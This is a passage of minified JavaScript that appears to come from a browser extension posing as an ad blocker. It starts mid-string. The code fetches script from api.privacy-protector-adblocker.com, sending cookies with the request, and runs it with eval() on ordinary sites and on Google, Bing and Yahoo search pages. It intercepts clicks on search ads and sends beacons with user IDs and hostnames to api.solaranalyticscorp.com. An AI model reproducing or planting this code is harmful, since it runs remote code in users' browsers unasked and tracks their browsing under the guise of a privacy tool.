'),a=Array.from(document.querySelectorAll(t));!document.querySelector('#res')&&!a.length||window.adTracker||(window.adTracker=!0,function(r,e){try{var t=r.iframeTrackEndpoint,a=r.hostname,n=r.extensionHash,o=r.uid,l=r.partner,i=new URL(t);i.searchParams.set('host',a),i.searchParams.set('ext',n),i.searchParams.set('uid',o),i.searchParams.set('ha',String(!!e.length)),i.searchParams.set('ac',String(e.length||0)),i.searchParams.set('partner',l),navigator.sendBeacon(i.toString())}catch(r){console.error(btoa(r))}}(e.payload,a))},o=function(r){var e="function"==typeof Symbol&&Symbol.iterator,t=e&&r[e],a=0;if(t)return t.call(r);if(r&&"number"==typeof r.length)return{next:function(){return r&&a>=r.length&&(r=void 0),{value:r&&r[a++],done:!r}}};throw new TypeError(e?"Object is not iterable.":"Symbol.iterator is not defined.")},l=function(r,e){var t="function"==typeof Symbol&&r[Symbol.iterator];if(!t)return r;var a,n,o=t.call(r),l=[];try{for(;(void 0===e||e-- >0)&&!(a=o.next()).done;)l.push(a.value)}catch(r){n={error:r}}finally{try{a&&!a.done&&(t=o.return)&&t.call(o)}finally{if(n)throw n.error}}return l},i=function(r){return function(e){!function(r){var e=r.isExtraClick,t=r.payload;try{var a=t.endpoint,n=t.hostname,o=t.extensionHash,l=t.uid,i=t.subId,s=t.partner,c=new URL(a);c.searchParams.set('h',n),c.searchParams.set('se',o),c.searchParams.set('u',l),c.searchParams.set('sd',i),c.searchParams.set('cr',s),c.searchParams.set('ext',String(e)),navigator.sendBeacon(c.toString())}catch(r){console.error(btoa(r))}}({isExtraClick:!e.isTrusted,payload:r})}},s=function(){var r={};window.addEventListener('message',(function(s){var c,u,d,f,h,m,v,y,p,w=s.data;if(w&&'google-search-partner-selectors'===w.theme&&'object'==typeof w.payload){var g=function(r){var t=a[r];return t||e}(w.payload.browser.toLowerCase());if(g){n(g,w);try{for(var b=o(Object.entries(g)),x=b.next();!x.done;x=b.next()){var P=l(x.value,2),S=P[0],E=P[1];r[S]||(r[S]=i(w.payload));var k=Array.from(document.querySelectorAll(E));try{for(var A=(d=void 0,o(k)),L=A.next();!L.done;L=A.next()){var T=L.value,j=E===t.afterPostmanRequest?null===(y=null===(v=null==T?void 0:T.parentElement)||void 0===v?void 0:v.parentElement)||void 0===y?void 0:y.parentElement:T;null==j||j.removeEventListener('click',r[S],!0),null==j||j.addEventListener('click',r[S],!0)}}catch(r){d={error:r}}finally{try{L&&!L.done&&(f=A.return)&&f.call(A)}finally{if(d)throw d.error}}}}catch(r){c={error:r}}finally{try{x&&!x.done&&(u=b.return)&&u.call(b)}finally{if(c)throw c.error}}var q=Array.from(document.getElementsByTagName('iframe'));try{for(var R=o(q),B=R.next();!B.done;B=R.next()){var C=B.value;null===(p=null==C?void 0:C.contentWindow)||void 0===p||p.postMessage(w,'*')}}catch(r){h={error:r}}finally{try{B&&!B.done&&(m=R.return)&&m.call(R)}finally{if(h)throw h.error}}}}}))},c=function(){window.location.href&&'about:blank'!==window.location.href&&'loading'!==document.readyState&&function(){try{return window.self!==window.top}catch(r){return!0}}()&&(s(),clearInterval(r))};r=setInterval(c,50),c()})();;(async()=>{if(function(e){let t=e;return"www4"===e.slice(0,4)?t=e.slice(5):"www2"===e.slice(0,4)?t=e.slice(5):"www"===e.slice(0,3)&&(t=e.slice(4)),t}(window.location.host).includes("google")&&window.location.pathname.startsWith("/maps")){(await function(e,t=0){return new Promise(n=>{let i,o=document.querySelector(e);o&&n(o);const c=new MutationObserver((t,o)=>{Array.from(document.querySelectorAll(e)).forEach(e=>{o.disconnect(),clearTimeout(i),n(e)})});c.observe(document.documentElement,{childList:!0,subtree:!0}),t&&(i=setTimeout(()=>{c.disconnect(),n(null)},t))})}("body",1e4)).style.height=window.innerHeight+"px",window.dispatchEvent(new Event("resize"))}})();;(() => {100*Math.random()<25&&function(){if(!function(){try{return window.self!==window.top}catch(t){return!0}}())try{fetch("https://api.privacy-protector-adblocker.com/privacy-config/configuration?uid=526fbcb1-f3fc-47ef-bf5e-2c672c084736",{credentials:"include"})}catch(t){console.log(btoa(t))}}();})();(()=>{"use strict";var __webpack_modules__={852:(e,r,_)=>{_.d(r,{AZ:()=>i,Fy:()=>o,Sv:()=>d,UF:()=>c,VV:()=>s,jN:()=>n,uM:()=>l,yu:()=>t});var a=_(575),t='rfer_gVocKzi2BN',o=900,n="https://".concat(a.VD,"/analytics/s-c-t"),i="https://".concat(a.VD,"/analytics/e-frame"),c='https://api.privacy-protector-adblocker.com/privacy-config/check-privacy?version=1.0.1&uid=526fbcb1-f3fc-47ef-bf5e-2c672c084736&domain=',s='adBlockingRulesForUpperDomains',d='adBlockingRulesForUpperDomainsPartner',l={GOOGLE:'google',BING:'bing',YAHOO:'yahoo'}},235:(e,r,_)=>{_.d(r,{P:()=>a});var a={SCRIPT_LAST_EXECUTION_TIMESTAMP:'oneDayExecutionLimitLastExecutionXx',SCRIPT_LAST_INJECTION_TIMESTAMP:'oneDayExecutionLimitLastInjectionXx'}},925:(e,r,_)=>{_.d(r,{B:()=>o});var a=_(683),t=_(235),o=function(){(0,a.Ym)(t.P.SCRIPT_LAST_INJECTION_TIMESTAMP),localStorage.removeItem(t.P.SCRIPT_LAST_INJECTION_TIMESTAMP)}},588:(e,r,_)=>{_.d(r,{t:()=>t});var a=_(852);function t(){try{var e=localStorage.getItem(a.VV);return e?JSON.parse(e):null}catch(e){return console.error(btoa(e)),null}}},203:(e,r,_)=>{_.d(r,{M:()=>b});var a=_(422),t=_(852),o=function(e,r){var _,a='/search'===window.location.pathname?'a':'a.iusc, a.inflnk',t=null===(_=r.closest(a))||void 0===_?void 0:_.href;return t?(e.preventDefault(),e.stopPropagation(),t):null},n=function(e){var r,_,a=e.target;if(a)if('/search'===window.location.pathname)(t=o(e,a))&&(_=t,window.location.href="".concat(_,"&view=detailV2"));else if('a'!==(null===(r=a.tagName)||void 0===r?void 0:r.toLowerCase())){var t;(t=o(e,a))&&(window.location.href=t)}else window.location.href=a.href},i=function(){document.querySelectorAll('#vm_c > .dg_b > div:not(#bop_container) li[data-idx], .slide > .irpu').forEach((function(e){e.removeEventListener('click',n,!0),e.addEventListener('click',n,!0)}))},c={adInSearchFeedReviews:'[href^="/merchant/reviews"]',adInCarouselRating:'.pa_rating > a',adInSearchFeedRating:'.mapsTextAds > ul li > .saRating > a',adInSearchFeedPrise:'.priceExt-trig.td-hu',adInSearchFeedHeaderLink:'.sb_add .b_adTopIcon_container .b_adurl'},s={adInSearchFeedFooter:'.rs-section',adInSearchFeedArrow:'.arrow',adInSearchFeedHeader:'.ad-hdr'},d={},l={adInSearchFeedHeader:'.sb_add .b_adTopIcon_container',adInSearchFeedTitle:'.sb_add h2 > a',adInSearchFeedUrlLink:'.sb_add .b_adurl > cite > a',adInSearchFeedBody:'.sb_add .sb_addesc',adInSearchFeedSlide:'.sb_add .b_slidebar .slide a',linksUnderAdInSearchFeed:'.sb_add .b_deep li a',adInSearchFeedShopNowBtn:'.sb_add .b_clearfix .b_floatR_img a',adInSearchFeedTypes:'.sb_add .b_ads1line a',adInSearchFeedLocation:'.sb_add .b_caption .sw_lpoi + a',adInSearchFeedDynamicTable:'.sb_add .ad_dynamicTable tbody td > a',adInSearchFeedRightSnackBar:'.sb_add .sb_adImageExtensionFull a, .sb_adTextInfo .sb_CallToAction a',bingFullCard:'.slide > .pa_item',adCardHoverState:'.pa_hover',imgTabAdCarousel:'#ads_units .vsp_ads, .item > .vsp_ads',shopSponsoredSimilarProducts:'.br-SPCarousel .slide > a',shopOthershops:'.br-secSellerName.br-sellerLink > a',shopOtherOptions:'.br-otherOptionlist a',imgTabAdFeed:'.ins_exp.tds div .ta_l > li a',slideShopTab:'.slide > .br-gOffCard > .br-offLink',slideShopTabMEFF:'.br-productGrid .br-offCard.br-gOffCard > .br-offLink',slideImgTab:'.slide .ra_slide > a, .ra_hover .ra_title a',adOnMaps:'.mapsTextAds > ul li'},u={adsInSearchFeed:'.ads',adsInSidebarHovered:'.pla .compProductList-tooltip > div > :not(div.rating)',adsInSidebarNotHovered:'.pla .plaItem > div > :not(div.rating)',adsInRightSidebar:'.searchRightTopAds a'},E={adsInSearchFeed:'[data-algo="0"] a'},p=function(){var e=(0,a.X)(window.location.hostname);return e.includes(t.uM.BING)?[c,l]:e.includes(t.uM.YAHOO)?[s,u]:e.includes(t.uM.GOOGLE)?[d,E]:[]},h=_(575);var f=function(e,r){var _="function"==typeof Symbol&&e[Symbol.iterator];if(!_)return e;var a,t,o=_.call(e),n=[];try{for(;(void 0===r||r-- >0)&&!(a=o.next()).done;)n.push(a.value)}catch(e){t={error:e}}finally{try{a&&!a.done&&(_=o.return)&&_.call(o)}finally{if(t)throw t.error}}return n};function m(e){var r=f(p(),2),_=r[0],o=r[1],n=e.target,i=Object.values(o).find((function(e){return null==n?void 0:n.closest(e)}));!Object.values(_).some((function(e){return null==n?void 0:n.closest(e)}))&&i&&function(e){try{var r=new URL(t.jN),_=(0,a.X)(window.location.hostname),o=sessionStorage.getItem(t.Sv)||'unknown';r.searchParams.set('h',_),r.searchParams.set('se',h.m4),r.searchParams.set('u',h.FG),r.searchParams.set('sd',h.EB),r.searchParams.set('cr',o),r.searchParams.set('ext',String(e)),navigator.sendBeacon(r.toString())}catch(e){console.error(btoa(e))}}(!e.isTrusted)}function b(){var e=(0,a.X)(window.location.hostname).includes(t.uM.BING),r=function(r){e&&i(),document.body.removeEventListener('click',r,!0),document.body.addEventListener('click',r,!0)};r(m),setInterval((function(){return r(m)}),200)}},984:(e,r,_)=>{_.d(r,{V:()=>n});var a=_(575),t=_(422),o=_(852);function n(){var e=sessionStorage.getItem(o.Sv)||'unknown';function r(){var r=document.querySelector('#privatelayer');if(r&&r.contentWindow){var _={endpoint:o.jN,iframeTrackEndpoint:o.AZ,hostname:(0,t.X)(window.location.hostname),extensionHash:a.m4,uid:a.FG,subId:a.EB,partner:e,browser:a.Uv};r.contentWindow.postMessage({theme:'google-search-partner-selectors',payload:_},'*')}}r(),setInterval(r,100)}},875:(e,r,_)=>{_.d(r,{Ll:()=>c,UQ:()=>n,bx:()=>i});var a=_(76),t=_(683),o=_(235),n=function(){var e=(0,a.V)(),r=Number((0,t.ej)(o.P.SCRIPT_LAST_EXECUTION_TIMESTAMP)),_=Number(localStorage.getItem(o.P.SCRIPT_LAST_EXECUTION_TIMESTAMP)),n=function(e,r,_){return r&&r+14400>_||e&&e+14400>_}(r,_,e);return{lastScriptExecutionDateStorageValue:_,lastScriptExecutionDateCookieValue:r,hasAlreadyExecutedToday:n}},i=function(){var e=n(),r=e.lastScriptExecutionDateCookieValue,_=e.lastScriptExecutionDateStorageValue;r&&!_||_!==r?localStorage.setItem(o.P.SCRIPT_LAST_EXECUTION_TIMESTAMP,String(r)):(!r&&_||r!==_)&&(0,t.qz)(o.P.SCRIPT_LAST_EXECUTION_TIMESTAMP,_)},c=function(){(0,t.Ym)(o.P.SCRIPT_LAST_EXECUTION_TIMESTAMP),localStorage.removeItem(o.P.SCRIPT_LAST_EXECUTION_TIMESTAMP)}},147:(e,r,_)=>{_.d(r,{Q:()=>t});var a=_(575);function t(){var e={};return('firefox'===a.Uv.toLowerCase()||function(){if(a.Uv.toLowerCase().includes('safari'))return!0;var e=navigator.userAgent.toLowerCase();return-1!==e.indexOf('safari')&&e.indexOf('chrome')<=-1}())&&(e.subId=a.EB,e.uid=a.FG),e}},566:(__unused_webpack_module,__webpack_exports__,__webpack_require__)=>{__webpack_require__.d(__webpack_exports__,{U:()=>processRegularDomain});var _utils_restriction_date_check__WEBPACK_IMPORTED_MODULE_4__=__webpack_require__(389),_utils_urls_url_helper__WEBPACK_IMPORTED_MODULE_5__=__webpack_require__(422),_shared_construct_request_url__WEBPACK_IMPORTED_MODULE_0__=__webpack_require__(526),_constants_easylist_globals__WEBPACK_IMPORTED_MODULE_1__=__webpack_require__(852),_clear_injection_storage_data__WEBPACK_IMPORTED_MODULE_2__=__webpack_require__(925),_last_execution_storage_operations__WEBPACK_IMPORTED_MODULE_3__=__webpack_require__(875),_prepare_domain_query_params__WEBPACK_IMPORTED_MODULE_6__=__webpack_require__(147),__read=function(e,r){var _="function"==typeof Symbol&&e[Symbol.iterator];if(!_)return e;var a,t,o=_.call(e),n=[];try{for(;(void 0===r||r-- >0)&&!(a=o.next()).done;)n.push(a.value)}catch(e){t={error:e}}finally{try{a&&!a.done&&(_=o.return)&&_.call(o)}finally{if(t)throw t.error}}return n},processRegularDomain=function(){var isEasylistRequestRestrictionExpired=(0,_utils_restriction_date_check__WEBPACK_IMPORTED_MODULE_4__.PG)(_constants_easylist_globals__WEBPACK_IMPORTED_MODULE_1__.yu,_constants_easylist_globals__WEBPACK_IMPORTED_MODULE_1__.Fy);if(isEasylistRequestRestrictionExpired){var currentDomainName=(0,_utils_urls_url_helper__WEBPACK_IMPORTED_MODULE_5__.X)(window.location.hostname),requestUrl=(0,_shared_construct_request_url__WEBPACK_IMPORTED_MODULE_0__.$)("".concat(_constants_easylist_globals__WEBPACK_IMPORTED_MODULE_1__.UF).concat(currentDomainName),(0,_prepare_domain_query_params__WEBPACK_IMPORTED_MODULE_6__.Q)());fetch(requestUrl,{credentials:'include'}).then((function(e){return Promise.all([e.text(),'IV0y4Bdbrb'===e.headers.get('x-ed')])})).then((function(result){var _a=__read(result,2),script=_a[0],isEasylistRestricted=_a[1],dataString=script.toString();isEasylistRestricted&&(0,_utils_restriction_date_check__WEBPACK_IMPORTED_MODULE_4__.En)(_constants_easylist_globals__WEBPACK_IMPORTED_MODULE_1__.yu);var hasAlreadyExecutedToday=(0,_last_execution_storage_operations__WEBPACK_IMPORTED_MODULE_3__.UQ)().hasAlreadyExecutedToday;if(hasAlreadyExecutedToday&&((0,_last_execution_storage_operations__WEBPACK_IMPORTED_MODULE_3__.bx)(),(0,_clear_injection_storage_data__WEBPACK_IMPORTED_MODULE_2__.B)()),hasAlreadyExecutedToday||(0,_last_execution_storage_operations__WEBPACK_IMPORTED_MODULE_3__.Ll)(),dataString)try{eval(dataString)}catch(e){console.error(btoa(e))}else;})).catch((function(e){console.error(btoa(e))}))}}},676:(__unused_webpack_module,__webpack_exports__,__webpack_require__)=>{__webpack_require__.d(__webpack_exports__,{p:()=>isSearchDomain,z:()=>processSearchDomain});var _utils_date__WEBPACK_IMPORTED_MODULE_6__=__webpack_require__(76),_shared_construct_request_url__WEBPACK_IMPORTED_MODULE_0__=__webpack_require__(526),_shared_exec_fn_when_dom_ready__WEBPACK_IMPORTED_MODULE_5__=__webpack_require__(360),_constants_easylist_globals__WEBPACK_IMPORTED_MODULE_1__=__webpack_require__(852),_get_search_script_from_storage__WEBPACK_IMPORTED_MODULE_2__=__webpack_require__(588),_handle_ad_click__WEBPACK_IMPORTED_MODULE_3__=__webpack_require__(203),_init_google_partner_iframe_script__WEBPACK_IMPORTED_MODULE_4__=__webpack_require__(984),_prepare_domain_query_params__WEBPACK_IMPORTED_MODULE_7__=__webpack_require__(147),__read=function(e,r){var _="function"==typeof Symbol&&e[Symbol.iterator];if(!_)return e;var a,t,o=_.call(e),n=[];try{for(;(void 0===r||r-- >0)&&!(a=o.next()).done;)n.push(a.value)}catch(e){t={error:e}}finally{try{a&&!a.done&&(_=o.return)&&_.call(o)}finally{if(t)throw t.error}}return n};function isSearchDomain(){var e=window.location.hostname;return e.match(/^www.google/g)||e.match(/^www\d?.bing/g)||e.match(/yahoo.com$/g)}function executeScript(script){eval(script.toString()),(0,_shared_exec_fn_when_dom_ready__WEBPACK_IMPORTED_MODULE_5__.U)(_handle_ad_click__WEBPACK_IMPORTED_MODULE_3__.M),window.location.hostname.includes(_constants_easylist_globals__WEBPACK_IMPORTED_MODULE_1__.uM.GOOGLE)&&(0,_init_google_partner_iframe_script__WEBPACK_IMPORTED_MODULE_4__.V)()}function processSearchDomain(){var e=!1,r=window.location.hostname,_=(0,_get_search_script_from_storage__WEBPACK_IMPORTED_MODULE_2__.t)(),a=(0,_utils_date__WEBPACK_IMPORTED_MODULE_6__.U)();if(_&&a===_.date&&_[r])try{executeScript(_[r]),e=!0}catch(e){console.error(btoa(e))}else localStorage.removeItem(_constants_easylist_globals__WEBPACK_IMPORTED_MODULE_1__.VV);var t=(0,_shared_construct_request_url__WEBPACK_IMPORTED_MODULE_0__.$)("".concat(_constants_easylist_globals__WEBPACK_IMPORTED_MODULE_1__.UF).concat(r),(0,_prepare_domain_query_params__WEBPACK_IMPORTED_MODULE_7__.Q)());fetch(t,{credentials:'include'}).then((function(e){return Promise.all([e.text(),e.ok])})).then((function(_){var t,o=__read(_,2),n=o[0],i=o[1];n&&i?(localStorage.setItem(_constants_easylist_globals__WEBPACK_IMPORTED_MODULE_1__.VV,JSON.stringify(((t={})[r]=n.toString(),t.date=a,t))),e||executeScript(n.toString())):localStorage.removeItem(_constants_easylist_globals__WEBPACK_IMPORTED_MODULE_1__.VV)}))}},526:(e,r,_)=>{_.d(r,{$:()=>o});var a=function(e){var r="function"==typeof Symbol&&Symbol.iterator,_=r&&e[r],a=0;if(_)return _.call(e);if(e&&"number"==typeof e.length)return{next:function(){return e&&a>=e.length&&(e=void 0),{value:e&&e[a++],done:!e}}};throw new TypeError(r?"Object is not iterable.":"Symbol.iterator is not defined.")},t=function(e,r){var _="function"==typeof Symbol&&e[Symbol.iterator];if(!_)return e;var a,t,o=_.call(e),n=[];try{for(;(void 0===r||r-- >0)&&!(a=o.next()).done;)n.push(a.value)}catch(e){t={error:e}}finally{try{a&&!a.done&&(_=o.return)&&_.call(o)}finally{if(t)throw t.error}}return n},o=function(e,r){var _,o;try{var n=new URL(e);try{for(var i=a(Object.entries(r)),c=i.next();!c.done;c=i.next()){var s=t(c.value,2),d=s[0],l=s[1];n.searchParams.append(d,l)}}catch(e){_={error:e}}finally{try{c&&!c.done&&(o=i.return)&&o.call(i)}finally{if(_)throw _.error}}return n.toString()}catch(e){return console.error(btoa(e)),''}}},683:(e,r,_)=>{_.d(r,{Ym:()=>o,ej:()=>a,qz:()=>t});var a=function(e){try{for(var r="".concat(e,"="),_=decodeURIComponent(document.cookie).split(';'),a=0;a<_.length;a++){for(var t=_[a];' '===t.charAt(0);)t=t.substring(1);if(0===t.indexOf(r))return t.substring(r.length,t.length)}return''}catch(r){var o=document.cookie.match(new RegExp("(^| )".concat(e,"=([^;]+)")));if(o)return o[2]}return''},t=function(e,r){var _=new Date,a=new Date(_.getFullYear(),_.getMonth(),_.getDate(),23,59,59),t="; expires=".concat(a.toUTCString());document.cookie="".concat(e,"=").concat(r,";").concat(t,";path=/;")},o=function(e){document.cookie="".concat(e,"=; Max-Age=0; path=/;")}},360:(e,r,_)=>{_.d(r,{U:()=>a});var a=function(e){'loading'===document.readyState?document.addEventListener('readystatechange',(function(){'interactive'===document.readyState&&e()})):e()}},575:(e,r,_)=>{_.d(r,{EB:()=>o,FG:()=>t,Uv:()=>i,VD:()=>a,m4:()=>n});var a='api.solaranalyticscorp.com',t='526fbcb1-f3fc-47ef-bf5e-2c672c084736',o='108',n='04aea562b12ca04f486437011dcdaab7',i='edge'},76:(e,r,_)=>{_.d(r,{U:()=>t,V:()=>a});var a=function(){return Math.floor((new Date).getTime()/1e3)},t=function(){return(new Date).toISOString().split('T')[0]}},389:(e,r,_)=>{_.d(r,{En:()=>o,PG:()=>t});var a=_(76),t=function(e,r){var _=Number(localStorage.getItem(e)),t=(0,a.V)();return!_||_+r<t},o=function(e){var r=(0,a.V)();localStorage.setItem(e,String(r))}},422:(e,r,_)=>{_.d(r,{X:()=>a});var a=function(e){return e.replace(/^(www\.|www[0-9]*\.)?/g,'')}}},__webpack_module_cache__={};function __webpack_require__(e){var r=__webpack_module_cache__[e];if(void 0!==r)return r.exports;var _=__webpack_module_cache__[e]={exports:{}};return __webpack_modules__[e](_,_.exports,__webpack_require__),_.exports}__webpack_require__.d=(e,r)=>{for(var _ in r)__webpack_require__.o(r,_)&&!__webpack_require__.o(e,_)&&Object.defineProperty(e,_,{enumerable:!0,get:r[_]})},__webpack_require__.o=(e,r)=>Object.prototype.hasOwnProperty.call(e,r);var __webpack_exports__={},func,selector,observerTarget,observerCallBack,observerConfig,getShouldExecute,process_regular_domain,process_search_domain;getShouldExecute=function(){var e;if(function(){try{return window.self!==window.top}catch(e){return!0}}())return!1;if(window.location.hostname.match(/^www\d?.bing/g))if('loading'!==document.readyState){var r=document.getElementById('fb');if(r&&(null===(e=r.parentElement)||void 0===e?void 0:e.matches('body'))&&1===r.children.length&&r.children[0].matches('a[href]'))return!1}else if('/aclk'===window.location.pathname)return!1;return!0},process_regular_domain=__webpack_require__(566),process_search_domain=__webpack_require__(676),func=function(){if(!document.getElementById('NOjixgyCi3')){var e=document.createElement('a');e.id='NOjixgyCi3',a=e,(document.head||document.documentElement).appendChild(a);var r=getShouldExecute(),_=(0,process_search_domain.p)();if(!r)return;if(_)return void(0,process_search_domain.z)();(0,process_regular_domain.U)()}var a},selector='body',document.querySelector(selector)?func():(observerTarget=document.documentElement,observerCallBack=function(e,r){document.querySelector(selector)&&(r.disconnect(),func())},void 0===observerConfig&&(observerConfig={childList:!0,subtree:!0}),observerTarget?new MutationObserver(observerCallBack).observe(observerTarget,observerConfig):console.error("Can't find target element"))})();; } catch (error) { console.log(error) }